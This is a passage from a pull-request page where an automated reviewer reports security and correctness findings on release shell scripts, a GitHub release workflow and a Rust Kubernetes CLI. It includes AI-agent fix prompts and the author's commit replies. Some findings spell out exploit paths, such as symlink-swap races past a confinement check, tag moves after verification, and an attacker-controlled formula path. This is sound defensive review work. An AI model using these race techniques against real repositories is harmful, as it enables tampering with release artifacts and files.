[[ -f ]], which follows a symlink, then stages from the symlink target and finally executesmv "$manifest.tmp" "$manifest";mvreplaces the symlink itself rather than updating its target. Thus a repository such ascore/Cargo.toml -> /outside/core.tomlloses the symlink and installs a regular file in the checkout, while the external manifest remains unchanged; if a parent member directory is symlinked, staging and backups can instead operate outside the repository. This violates preservation of unrelated workspace structure and safe migration paths; it would be disproven only if the script rejected symlinked target paths and symlinked parent directories before staging. (inline) - 🟡 Medium An explicitly supplied empty version is silently replaced by
RELEASE_TAGbecause both scripts use${1:-${RELEASE_TAG:-}}, where:-treats an empty positional argument as absent. In an environment withRELEASE_TAG=1.2.3,check-version.sh ''succeeds and prints1.2.3instead of rejecting the malformed empty argument (andset-version.sh ''performs that same substitution before validation). This makes argument/environment semantics ambiguous and violates rejection of empty versions; it would be disproven only if the intended contract explicitly defines an empty argument as equivalent to omitting the argument, contrary to the stated malformed/empty rejection obligation. (inline) - 🟡 Medium An explicit
TAP_FORMULA_PATHoutside the tap can create or modify directories before confinement is checked. The script runsmkdir -p "$FORMULA_PARENT"and only afterward resolvesFORMULA_PARENT_REALand rejects it if outsideTAP_REPO_PATH; forTAP_FORMULA_PATH=/tmp/attacker/new/formula.rb, this creates/tmp/attacker/newdespite the eventual error. Under an environment-controlled path this violates the requirement that writes cannot escape the checkout and can alter filesystem state outside it. The claim would be false only if the parent directory were guaranteed to preexist and no creation occurred before the confinement check. (inline) - 🟡 Medium The pre-publish verification does not actually prevent publishing a release for a tag that moves after the check. If an authorized actor moves
RELEASE_TAGfromBUILT_SHAto another commit afterverifyreads the ref but beforesoftprops/action-gh-releasecreates/updates the release, the publish step attaches the release to the moved tag;confirmonly fails afterward, leaving an already-published mismatched release. This is proven false only if the tag is guaranteed immutable for the entire verify-to-publish interval or publication is otherwise serialized with ref updates. (inline) - 🟡 Medium The environment-mutating state test leaks the caller's K3S_TOKEN state into later tests. (inline)
⛔ Unresolved from previous review (5) — not approved until fixed
- Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as
["error", "quota exceeded"](or a serialized arbitrary string list) to become inventory entries and suppress VM creation. — The current code rejects the exact"Error:"/"quota exceeded"example by applyingis_vm_name, but direct JSON arrays are still treated as inventories: every bare string matching the VM-name shape is inserted. Thus an arbitrary status/error payload such as["error", "quota"](or["foo"]) can still create false VM entries and suppress creation; the tests explicitly acknowledge that a single lowercase prose word such aserrorremains indistinguishable from a valid VM name. - scripts/release/sync-homebrew-tap.sh: The symlink and confinement checks are not atomic with the final write, so a local attacker able to modify the tap can replace the validated formula or parent directory before
cat >and redirect the overwrite. — The final target-file symlink race is mitigated by writing a sibling temporary file and usingmv, which replaces the target entry rather than following a symlink. However, the confinement check is still separate from the final path operations: afterFORMULA_PARENT_REALis validated, the script runsmktempand thenmvusing the original pathname. An attacker can replace a writable parent path component with a symlink after validation, causing the staged file to be created or renamed in an attacker-chosen directory, so the reported redirect-through-parent-directory consequence remains possible. - .github/workflows/release.yml: The tag recheck is check-then-use rather than an atomic publish target. A maintainer or attacker who moves the release tag after
Verify the tag still points at the built commitcompletes but beforeaction-gh-releaseresolvestag_name, can cause the release to be attached to the moved tag while the archives remain from BUILT_SHA; the workflow will not refuse that move. — The defect remains:verifyperforms a read-and-compare of the tag, butpublishlater passes the mutable tag name toaction-gh-release. A tag can still move after verification and before that action resolvestag_name, so the archives can be attached to the moved tag. The newconfirmjob only detects the mismatch after publication and does not prevent it. - The publish job grants
contents: writeto every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capablegithub.token; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures. — The tag-verification shell step was moved to the separate read-onlyverifyjob, butDownload release archivesremains inpublish, whose job-levelpermissions: contents: writestill grants the download action the write-capablegithub.token. A compromised download action can therefore still mutate repository contents or releases before publication. - k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is now suppressed when the client receivedREMOTE_EXIT_PREFIX, but status 255 without that marker is still retried. The wrapper emits the marker only after the remote script finishes, so a connection can be lost after the non-idempotent script has executed but before the marker reaches the client; in that caseremote_ranis false and the full script is sent again. Thus the described duplicate-execution consequence remains possible.
⚠️ Unverified risks (1)
- The no-follow protection is racy for state-directory components: a parent can be replaced after inspection and before staged creation. (k8s_cli/src/manager/state.rs)
📋 Additional findings from this change (not shown inline) (9)
- 🟠 High New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster. (k8s_cli/src/manager/scripts.rs) — anchor-outside-diff
- 🟠 High Existing generated state can be read through a symlinked state directory, violating the no-follow boundary for persistent secrets. (k8s_cli/src/manager/state.rs) — anchor-unreliable
- 🟠 High Concurrent first-time token creation can return different credentials to concurrent bootstrap processes. (k8s_cli/src/manager/state.rs) — anchor-unreliable
- 🟡 Medium The generalized formula-name validation rejects valid Homebrew versioned formula names containing
@, such asfoo@1, and therefore cannot satisfy compatibility for Homebrew naming conventions. The gate permits only[0-9A-Za-z._-], so the helper exits before selecting a path or generating a formula. This would be false only if the helper is intentionally limited to unversioned names and that limitation is an explicit scope constraint. (scripts/release/sync-homebrew-tap.sh) — per-file-budget - 🟡 Medium The expected class-name derivation mishandles valid dotted Homebrew names. For
FORMULA_NAME=foo.bar, the script computesEXPECTED_CLASS=Foo.barbecause it splits only on-and_, then rejects any supplied Ruby constant (a Ruby class cannot use a lowercase dotted component as the generated formula class). Thus valid formula names containing dots cannot be generated, and the naming compatibility obligation is not met. This would be false only if dotted formula names were deliberately unsupported despite the name validator allowing them. (scripts/release/sync-homebrew-tap.sh) — per-file-budget - 🟡 Medium A valid dotted Homebrew formula name cannot pass the class-name check: for
FORMULA_NAME=foo.bar, the script computesEXPECTED_CLASS=Foo.bar, which is not a Ruby constant and cannot match the requiredFORMULA_CLASSpattern (Homebrew's class conversion removes the dot, e.g.FooBar). Thus generation aborts for valid names containing.. (scripts/release/sync-homebrew-tap.sh) — per-file-budget - 🟡 Medium An interrupted or failed rewrite of the root workspace manifest can leave
Cargo.toml.nextbehind, preventing a subsequent migration.set_path_dep_versionwrites the root staged output to$ROOT_MANIFEST.next;cleanup_stagedonly removes each target's.tmpand.bak, never.next. If the process is terminated while awk is producing that file (or exits due to an awk/write error before the explicitrm), the next invocation'srequire_free_sibling "$ROOT_MANIFEST"sees the leftover.nextand exits with 'already exists'. This violates failure/interruption restoration and safe cleanup; it would be disproven only if no termination/error can occur during that output operation, which is not guaranteed for CI/filesystem failures. (scripts/release/set-version.sh) — anchor-unreliable - 🟡 Medium Node labels do not converge to the fleet plan because stale exedev-owned labels are never removed. (k8s_cli/src/manager/mod.rs) — anchor-outside-diff
- 🟡 Medium The API reference tells users to pipe the two secret-bearing commands through
ssh exe.dev, but that does not avoid exposing the token in process arguments and contradicts the safer warning in the CLI/skill docs. (docs/exe-dev-api-reference.md) — anchor-unreliable
♻️ Previously reported (still present) (5)
- 🟠 High The pre-publication verification does not make publication atomic with the tag check: after
verifysucceeds, the tag can move before or during the separatepublishjob, so the release can be attached to a different revision and only be reported failed later byconfirm. (.github/workflows/release.yml) — previously-reported - 🟡 Medium A failed or interrupted formula generation leaves the staged hidden file behind.
FORMULA_STAGEDis created in the tap directory, but the only EXIT trap removesWORK_DIR; ifcat,chmod, ormvfails, or the process is interrupted aftermktemp,.${FORMULA_NAME}.XXXXXXremains in the formula directory. Repeated failures accumulate untracked temporary formula files and violate clean temporary state. This would be false only if an external cleanup mechanism reliably removes those files, which this script does not install. (scripts/release/sync-homebrew-tap.sh) — previously-reported - 🟡 Medium A wrapped response with both outer VM objects and a rendered
outputtable loses VMs from the table. (k8s_cli/src/manager/parsing.rs) — previously-reported - 🟡 Medium The write is vulnerable to a symlink/rename race on the formula parent after confinement validation. An attacker able to modify the tap checkout can replace the checked parent directory (or one of its components) with a symlink to another directory between
FORMULA_PARENT_REALvalidation andmktemp/mv; both operations then resolve the changed path and can create or atomically replaceFORMULA_STAGED/the formula outsideTAP_REPO_PATH. The claim would be false only if the tap directory hierarchy is guaranteed immutable and inaccessible to concurrent actors for the entire download-and-write interval. (scripts/release/sync-homebrew-tap.sh) — previously-reported - 🟡 Medium The JSON parser still treats arbitrary bare strings in arrays as VM inventory whenever they happen to match the DNS-like heuristic. (k8s_cli/src/manager/parsing.rs) — anchor-unreliable
🤖 Prompt for AI agents — all findings (27)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (5)
Somewhere in the code under review, address this finding:
Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as `["error", "quota exceeded"]` (or a serialized arbitrary string list) to become inventory entries and suppress VM creation.
In scripts/release/sync-homebrew-tap.sh, address this finding:
The symlink and confinement checks are not atomic with the final write, so a local attacker able to modify the tap can replace the validated formula or parent directory before `cat >` and redirect the overwrite.
In .github/workflows/release.yml, address this finding:
The tag recheck is check-then-use rather than an atomic publish target. A maintainer or attacker who moves the release tag after `Verify the tag still points at the built commit` completes but before `action-gh-release` resolves `tag_name`, can cause the release to be attached to the moved tag while the archives remain from BUILT_SHA; the workflow will not refuse that move.
Somewhere in the code under review, address this finding:
The publish job grants `contents: write` to every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capable `github.token`; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (8)
In scripts/release/set-version.sh around line 107, address this finding:
A symlinked workspace-member directory can redirect the rewrite outside `REPO_ROOT`. The script constructs `$REPO_ROOT/$member/Cargo.toml` and validates only `-f` on the resulting path; with `core -> /tmp/other-worktree` (or another symlinked member directory), `awk ... > "$manifest.tmp"` and the later `mv` operate in `/tmp/other-worktree`, despite the sibling-name checks. This violates confinement even when no target-file symlink exists.
In scripts/release/sync-homebrew-tap.sh around line 157, address this finding:
The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After `FORMULA_PARENT_REAL` is checked, the script calls `mktemp` and later `mv` using the original path; if an attacker replaces a checked descendant (for example `tap/Formula/e`) with a symlink to an outside directory, `mktemp` creates the staged file outside the tap and `mv` writes there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run.
In .github/workflows/release.yml around line 53, address this finding:
Annotated tags are not resolved all the way to a commit: the workflow dereferences at most one tag object and then rejects a valid tag-of-tag (or compares it incorrectly during verification).
In scripts/release/set-version.sh around line 108, address this finding:
The script does not preserve or confine symlinked workspace manifests. It checks member/root manifests only with `[[ -f ]]`, which follows a symlink, then stages from the symlink target and finally executes `mv "$manifest.tmp" "$manifest"`; `mv` replaces the symlink itself rather than updating its target. Thus a repository such as `core/Cargo.toml -> /outside/core.toml` loses the symlink and installs a regular file in the checkout, while the external manifest remains unchanged; if a parent member directory is symlinked, staging and backups can instead operate outside the repository. This violates preservation of unrelated workspace structure and safe migration paths; it would be disproven only if the script rejected symlinked target paths and symlinked parent directories before staging.
In scripts/release/check-version.sh around line 11, address this finding:
An explicitly supplied empty version is silently replaced by `RELEASE_TAG` because both scripts use `${1:-${RELEASE_TAG:-}}`, where `:-` treats an empty positional argument as absent. In an environment with `RELEASE_TAG=1.2.3`, `check-version.sh ''` succeeds and prints `1.2.3` instead of rejecting the malformed empty argument (and `set-version.sh ''` performs that same substitution before validation). This makes argument/environment semantics ambiguous and violates rejection of empty versions; it would be disproven only if the intended contract explicitly defines an empty argument as equivalent to omitting the argument, contrary to the stated malformed/empty rejection obligation.
In scripts/release/sync-homebrew-tap.sh around line 156, address this finding:
An explicit `TAP_FORMULA_PATH` outside the tap can create or modify directories before confinement is checked. The script runs `mkdir -p "$FORMULA_PARENT"` and only afterward resolves `FORMULA_PARENT_REAL` and rejects it if outside `TAP_REPO_PATH`; for `TAP_FORMULA_PATH=/tmp/attacker/new/formula.rb`, this creates `/tmp/attacker/new` despite the eventual error. Under an environment-controlled path this violates the requirement that writes cannot escape the checkout and can alter filesystem state outside it. The claim would be false only if the parent directory were guaranteed to preexist and no creation occurred before the confinement check.
In .github/workflows/release.yml around line 184, address this finding:
The pre-publish verification does not actually prevent publishing a release for a tag that moves after the check. If an authorized actor moves `RELEASE_TAG` from `BUILT_SHA` to another commit after `verify` reads the ref but before `softprops/action-gh-release` creates/updates the release, the publish step attaches the release to the moved tag; `confirm` only fails afterward, leaving an already-published mismatched release. This is proven false only if the tag is guaranteed immutable for the entire verify-to-publish interval or publication is otherwise serialized with ref updates.
In k8s_cli/src/manager/tests.rs around line 548, address this finding:
The environment-mutating state test leaks the caller's K3S_TOKEN state into later tests.
## Additional findings on this change (not posted inline) (9)
In k8s_cli/src/manager/scripts.rs around line 237, address this finding:
New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster.
In k8s_cli/src/manager/state.rs, address this finding:
Existing generated state can be read through a symlinked state directory, violating the no-follow boundary for persistent secrets.
In k8s_cli/src/manager/state.rs, address this finding:
Concurrent first-time token creation can return different credentials to concurrent bootstrap processes.
In scripts/release/sync-homebrew-tap.sh around line 59, address this finding:
The generalized formula-name validation rejects valid Homebrew versioned formula names containing `@`, such as `foo@1`, and therefore cannot satisfy compatibility for Homebrew naming conventions. The gate permits only `[0-9A-Za-z._-]`, so the helper exits before selecting a path or generating a formula. This would be false only if the helper is intentionally limited to unversioned names and that limitation is an explicit scope constraint.
In scripts/release/sync-homebrew-tap.sh around line 76, address this finding:
The expected class-name derivation mishandles valid dotted Homebrew names. For `FORMULA_NAME=foo.bar`, the script computes `EXPECTED_CLASS=Foo.bar` because it splits only on `-` and `_`, then rejects any supplied Ruby constant (a Ruby class cannot use a lowercase dotted component as the generated formula class). Thus valid formula names containing dots cannot be generated, and the naming compatibility obligation is not met. This would be false only if dotted formula names were deliberately unsupported despite the name validator allowing them.
In scripts/release/sync-homebrew-tap.sh around line 78, address this finding:
A valid dotted Homebrew formula name cannot pass the class-name check: for `FORMULA_NAME=foo.bar`, the script computes `EXPECTED_CLASS=Foo.bar`, which is not a Ruby constant and cannot match the required `FORMULA_CLASS` pattern (Homebrew's class conversion removes the dot, e.g. `FooBar`). Thus generation aborts for valid names containing `.`.
In scripts/release/set-version.sh, address this finding:
An interrupted or failed rewrite of the root workspace manifest can leave `Cargo.toml.next` behind, preventing a subsequent migration. `set_path_dep_version` writes the root staged output to `$ROOT_MANIFEST.next`; `cleanup_staged` only removes each target's `.tmp` and `.bak`, never `.next`. If the process is terminated while awk is producing that file (or exits due to an awk/write error before the explicit `rm`), the next invocation's `require_free_sibling "$ROOT_MANIFEST"` sees the leftover `.next` and exits with 'already exists'. This violates failure/interruption restoration and safe cleanup; it would be disproven only if no termination/error can occur during that output operation, which is not guaranteed for CI/filesystem failures.
In k8s_cli/src/manager/mod.rs around line 724, address this finding:
Node labels do not converge to the fleet plan because stale exedev-owned labels are never removed.
In docs/exe-dev-api-reference.md, address this finding:
The API reference tells users to pipe the two secret-bearing commands through `ssh exe.dev`, but that does not avoid exposing the token in process arguments and contradicts the safer warning in the CLI/skill docs.
## Previously reported and still present (5)
In .github/workflows/release.yml around line 214, address this finding:
The pre-publication verification does not make publication atomic with the tag check: after `verify` succeeds, the tag can move before or during the separate `publish` job, so the release can be attached to a different revision and only be reported failed later by `confirm`.
In scripts/release/sync-homebrew-tap.sh around line 169, address this finding:
A failed or interrupted formula generation leaves the staged hidden file behind. `FORMULA_STAGED` is created in the tap directory, but the only EXIT trap removes `WORK_DIR`; if `cat`, `chmod`, or `mv` fails, or the process is interrupted after `mktemp`, `.${FORMULA_NAME}.XXXXXX` remains in the formula directory. Repeated failures accumulate untracked temporary formula files and violate clean temporary state. This would be false only if an external cleanup mechanism reliably removes those files, which this script does not install.
In k8s_cli/src/manager/parsing.rs around line 30, address this finding:
A wrapped response with both outer VM objects and a rendered `output` table loses VMs from the table.
In scripts/release/sync-homebrew-tap.sh around line 158, address this finding:
The write is vulnerable to a symlink/rename race on the formula parent after confinement validation. An attacker able to modify the tap checkout can replace the checked parent directory (or one of its components) with a symlink to another directory between `FORMULA_PARENT_REAL` validation and `mktemp`/`mv`; both operations then resolve the changed path and can create or atomically replace `FORMULA_STAGED`/the formula outside `TAP_REPO_PATH`. The claim would be false only if the tap directory hierarchy is guaranteed immutable and inaccessible to concurrent actors for the entire download-and-write interval.
In k8s_cli/src/manager/parsing.rs, address this finding:
The JSON parser still treats arbitrary bare strings in arrays as VM inventory whenever they happen to match the DNS-like heuristic.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 7 of 7 areas reviewed
| } | ||
|
|
||
| for member in "${MEMBERS[@]}"; do | ||
| manifest="$REPO_ROOT/$member/Cargo.toml" |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The eventual behavior of cargo update with a symlinked workspace member may vary, but the out-of-root writes occur before cargo update is invoked and therefore do not depend on cargo accepting the workspace.
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
A symlinked workspace-member directory can redirect the rewrite outside `REPO_ROOT`. The script constructs `$REPO_ROOT/$member/Cargo.toml` and validates only `-f` on the resulting path; with `core -> /tmp/other-worktree` (or another symlinked member directory), `awk ... > "$manifest.tmp"` and the later `mv` operate in `/tmp/other-worktree`, despite the sibling-name checks. This violates confinement even when no target-file symlink exists.
| TAP_REPO_REAL="$(cd "$TAP_REPO_PATH" && pwd -P)" | ||
| FORMULA_PARENT="$(dirname "$TAP_FORMULA_PATH")" | ||
| mkdir -p "$FORMULA_PARENT" | ||
| FORMULA_PARENT_REAL="$(cd "$FORMULA_PARENT" && pwd -P)" |
There was a problem hiding this comment.
🔒 Security | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ Exploitation requires an attacker to have filesystem write/rename access to the tap checkout while the script is running; under that threat model, the race is concrete. The exact outside destination is controlled by the swapped parent symlink.
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After `FORMULA_PARENT_REAL` is checked, the script calls `mktemp` and later `mv` using the original path; if an attacker replaces a checked descendant (for example `tap/Formula/e`) with a symlink to an outside directory, `mktemp` creates the staged file outside the tap and `mv` writes there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run.
| sha="$(printf '%s' "${ref_json}" | jq -r '.object.sha')" | ||
| type="$(printf '%s' "${ref_json}" | jq -r '.object.type')" | ||
| # An annotated tag points at a tag object, not the commit it names. | ||
| if [[ "${type}" == "tag" ]]; then |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
Annotated tags are not resolved all the way to a commit: the workflow dereferences at most one tag object and then rejects a valid tag-of-tag (or compares it incorrectly during verification).
|
|
||
| for member in "${MEMBERS[@]}"; do | ||
| manifest="$REPO_ROOT/$member/Cargo.toml" | ||
| if [[ ! -f "$manifest" ]]; then |
There was a problem hiding this comment.
🔍 Data Integrity | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
The script does not preserve or confine symlinked workspace manifests. It checks member/root manifests only with `[[ -f ]]`, which follows a symlink, then stages from the symlink target and finally executes `mv "$manifest.tmp" "$manifest"`; `mv` replaces the symlink itself rather than updating its target. Thus a repository such as `core/Cargo.toml -> /outside/core.toml` loses the symlink and installs a regular file in the checkout, while the external manifest remains unchanged; if a parent member directory is symlinked, staging and backups can instead operate outside the repository. This violates preservation of unrelated workspace structure and safe migration paths; it would be disproven only if the script rejected symlinked target paths and symlinked parent directories before staging.
| # the point it is resolved, before four matrix builds check out and install a | ||
| # toolchain only to fail on the same string. | ||
|
|
||
| VERSION="${1:-${RELEASE_TAG:-}}" |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/check-version.sh, address this finding:
An explicitly supplied empty version is silently replaced by `RELEASE_TAG` because both scripts use `${1:-${RELEASE_TAG:-}}`, where `:-` treats an empty positional argument as absent. In an environment with `RELEASE_TAG=1.2.3`, `check-version.sh ''` succeeds and prints `1.2.3` instead of rejecting the malformed empty argument (and `set-version.sh ''` performs that same substitution before validation). This makes argument/environment semantics ambiguous and violates rejection of empty versions; it would be disproven only if the intended contract explicitly defines an empty argument as equivalent to omitting the argument, contrary to the stated malformed/empty rejection obligation.
| fi | ||
| TAP_REPO_REAL="$(cd "$TAP_REPO_PATH" && pwd -P)" | ||
| FORMULA_PARENT="$(dirname "$TAP_FORMULA_PATH")" | ||
| mkdir -p "$FORMULA_PARENT" |
There was a problem hiding this comment.
🔒 Security | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
An explicit `TAP_FORMULA_PATH` outside the tap can create or modify directories before confinement is checked. The script runs `mkdir -p "$FORMULA_PARENT"` and only afterward resolves `FORMULA_PARENT_REAL` and rejects it if outside `TAP_REPO_PATH`; for `TAP_FORMULA_PATH=/tmp/attacker/new/formula.rb`, this creates `/tmp/attacker/new` despite the eventual error. Under an environment-controlled path this violates the requirement that writes cannot escape the checkout and can alter filesystem state outside it. The claim would be false only if the parent directory were guaranteed to preexist and no creation occurred before the confinement check.
|
|
||
| # Separate from publish so the write-capable token is not in scope while this | ||
| # runs: the job that holds contents: write grants it to every one of its steps. | ||
| verify: |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: unknown
- Confirmation: independently-verified
- Reachable: ✅
⚠️ Repository-level tag protection or an external serialization mechanism is not visible in this workflow; either could prevent an authorized tag move during the interval.
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
The pre-publish verification does not actually prevent publishing a release for a tag that moves after the check. If an authorized actor moves `RELEASE_TAG` from `BUILT_SHA` to another commit after `verify` reads the ref but before `softprops/action-gh-release` creates/updates the release, the publish step attaches the release to the moved tag; `confirm` only fails afterward, leaving an already-published mismatched release. This is proven false only if the tag is guaranteed immutable for the entire verify-to-publish interval or publication is otherwise serialized with ref updates.
| let _ = std::fs::remove_dir_all(&dir); | ||
| std::fs::create_dir_all(&dir).unwrap(); | ||
| std::env::set_current_dir(&dir).unwrap(); | ||
| unsafe { std::env::remove_var(K3S_TOKEN_ENV) }; |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: unknown
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact downstream test affected depends on test ordering and whether it reads K3S_TOKEN, but the process-global mutation is observable by any concurrent or later test that does so.
🤖 Prompt for AI agents
In k8s_cli/src/manager/tests.rs, address this finding:
The environment-mutating state test leaks the caller's K3S_TOKEN state into later tests.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| unsafe { std::env::remove_var(K3S_TOKEN_ENV) }; | |
| let previous_token = std::env::var_os(K3S_TOKEN_ENV); |
The guard grew from a handful of commands to 37 over this branch, but the skill still named three of them, and its own examples ran commands that now prompt — including the token-generation example it tells an agent to use. An agent has no terminal, so those fail with `failed to read confirmation: IO error: not a terminal` before anything reaches exe.dev, with nothing in the skill explaining why or what to do. The reference now lists every guarded command by category, notes the two alias spellings and the read-only `integrations setup` forms that are exempt, and points at `is_dangerous` in core/src/shell.rs as the list to re-derive from. Triage covers the non-terminal failure, and the token examples pass `--yes` on that one command rather than leaving an agent to discover the prompt. SKILL.md states the rule instead of enumerating: confirm the action with the user, then rerun that single command with `--yes`, rather than adding it pre-emptively. Also corrects the archive contents, which omitted README.zh-CN.md; the doc, the release workflow, and the tap formula's install list now agree.
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@skills/exedev-ctl/references/exedev-ctl.md`:
- Around line 337-343: Update the direct SSH troubleshooting guidance in the
numbered list to use the authoritative JSON ssh_dest value, including any
username it contains, instead of constructing <vm>.exe.xyz. Preserve the
instruction to use direct SSH checks for separating VM reachability from exe.dev
API permissions.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: b3816e09-bf77-439a-8eee-c1b27c25ac2e
📒 Files selected for processing (2)
skills/exedev-ctl/SKILL.mdskills/exedev-ctl/references/exedev-ctl.md
🚧 Files skipped from review as they are similar to previous changes (1)
- skills/exedev-ctl/SKILL.md
📜 Review details
⏰ Context from checks skipped due to timeout. (1)
- GitHub Check: winnowl/review
🧰 Additional context used
🪛 LanguageTool
skills/exedev-ctl/references/exedev-ctl.md
[style] ~342-~342: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ...ad the exe.dev command failure body. 6. If interactive SSH or stdin is involved, u...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
[style] ~343-~343: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ...stdin is involved, use the SSH path. 7. If SSH or script transport fails, prefer d...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
Triage step 7 told the reader to check a VM at `<vm>.exe.xyz`, which the same document already warns against three sections earlier: exe.dev reports the destination as `ssh_dest`, and it carries a `vm+<name>@exe.dev` username on VMs whose hostname cannot route SSH. Following the step on such a VM fails, and the step exists precisely to tell reachability apart from API permissions, so the failure reads as the VM being down. SKILL.md gave the same advice for streamed and interactive work. Both now take the destination from `ssh_dest`, username included, and say what assembling the hostname costs. The purpose of the step is unchanged.
There was a problem hiding this comment.
Actionable comments posted: 4
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (4)
- 🟠 High SSH transport retrying is based only on the absence of the wrapper exit marker; a connection can drop after the remote shell has executed side effects but before the marker is delivered, causing the same bootstrap script to be resent and potentially repeating installs or service starts. (inline)
- 🟠 High Existing-cluster validation ignores the URL scheme, so a malformed or different-scheme K3S_URL is accepted as targeting the same cluster. For example,
K3S_URL=http://cluster.example:6443compares equal to a kubeconfig server ofhttps://cluster.example:6443(andssh://...or any otherscheme://...does too). The subsequent worker install and kubectl labeling/deployment are then allowed despite the two endpoints not being the same HTTPS API endpoint; validation should parse and require the expected scheme rather than discard it. This is false acceptance, not merely a formatting issue, because the check is the guard immediately before mutating workers and the selected Kubernetes cluster. (inline) - 🟡 Medium apply_node_metadata silently treats failure to fetch or parse the current node list as an empty map, then proceeds to label/taint nodes successfully; stale owned taints are therefore not removed and the command reports success despite an incomplete reconciliation. (inline)
- 🟡 Medium Workflow-dispatched and later verification/confirmation of annotated tags dereference only one tag object, so a recursively annotated tag is rejected or misclassified instead of resolving to its commit. (inline)
⛔ Unresolved from previous review (7) — not approved until fixed
- Concurrent first-time token creation can return different credentials to concurrent bootstrap processes. — The race remains in
read_or_create_k3s_token: concurrent callers can both observe!path.exists(), generate different random tokens, and each callwrite_secret_file. That helper stages independently and then unconditionally renames over the destination; on the usual Unix semantics, both renames can succeed, while each caller returns its own locally generated token. The final file contains only the token from the last rename, so one bootstrap process can use credentials different from the persisted credential. - scripts/release/sync-homebrew-tap.sh: The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After
FORMULA_PARENT_REALis checked, the script callsmktempand latermvusing the original path; if an attacker replaces a checked descendant (for exampletap/Formula/e) with a symlink to an outside directory,mktempcreates the staged file outside the tap andmvwrites there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run. - scripts/release/set-version.sh: A symlinked workspace-member directory can redirect the rewrite outside
